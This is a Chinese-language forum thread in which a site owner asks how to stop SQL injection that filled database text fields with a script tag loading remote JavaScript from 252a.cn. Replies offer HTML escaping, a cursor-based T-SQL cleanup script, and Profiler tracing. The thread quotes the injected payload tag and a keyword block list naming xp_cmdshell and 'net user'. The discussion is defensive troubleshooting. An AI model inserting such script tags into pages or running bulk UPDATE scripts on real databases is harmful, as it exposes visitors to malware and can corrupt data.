公司的网站使用ASP.NET2.0+SQL2000做的,这几天老受sql注入攻击,数据库中80%的表字段类型为text的内容都被<script src=http://252a.cn/1.js></script>这样的木马代码给覆盖了,我在Global.asax文件中加了过滤特殊字符的代码,如把像;|-|select|insert|delete|from|drop table|update|truncate|xp_cmdshell|exec master|netlocalgroup administrators|:|net user|""|or|and这样的字符都过滤掉了还是不行,请问各位关于sql注入攻击有没有什么好的防御方法,我用触发器试了下,但好像对text这样类型的字段不管用,而我数据库中有关内容显示的都是用的text类型,

解决方案 »

  1.   

    如果你的网站不需要显示html标记的话,将所有<>都替换掉就没事了,如果需要有html标记(用户自定义的)
    那就要替换掉<script .. <iframe <link 等标记.
      

  2.   

    还有可能是cookie注入
    Declare @T Varchar(255)
    Declare @C Varchar(255)
    Declare Table_Cursor Cursor For Select A.Name,B.Name From Sysobjects A,Syscolumns B Where A.Id=B.Id And A.Xtype='u' And (B.Xtype=99 Or B.Xtype=35 Or B.Xtype=231 Or B.Xtype=167)
    Open Table_Cursor Fetch Next From  Table_Cursor Into @T,@C While(@@Fetch_Status=0)
    Begin 
    Exec('update ['+@T+'] Set ['+@C+']=Replace(Cast(['+@C+'] as nvarchar(4000)),'''','''')')Fetch Next From  Table_Cursor Into @T,@C 
    End
    Close Table_Cursor
    Deallocate Table_Cursor
    替换注入内容
    http://topic.csdn.net/u/20090809/13/fcd81dda-1902-46cf-ac39-bb31dff32941.html
      

  3.   

    几分钟就有了?这么快,你打开profiler,跟踪一下看看.
      

  4.   

    汗,profiler这是?这几天把我折腾的,我一把数据库还原顶多过半个小时,他就给我注入了,除非我忘网站停了
      

  5.   

    sqlserver的跟踪器,你在cmd.exe 中运行profiler.然后新建一个跟踪就可看到执行了哪些sql
      

  6.   

    会不会是通过正当途径录入的内容?你都过滤关键字了,怎么可能会有SQL注入啊,除非是正常的表单录入,然后把这种带有script标签的内容给录入进去了.但是你在显示那些text值的时候应该转换所有的html标签的啊,至少要过滤script标签.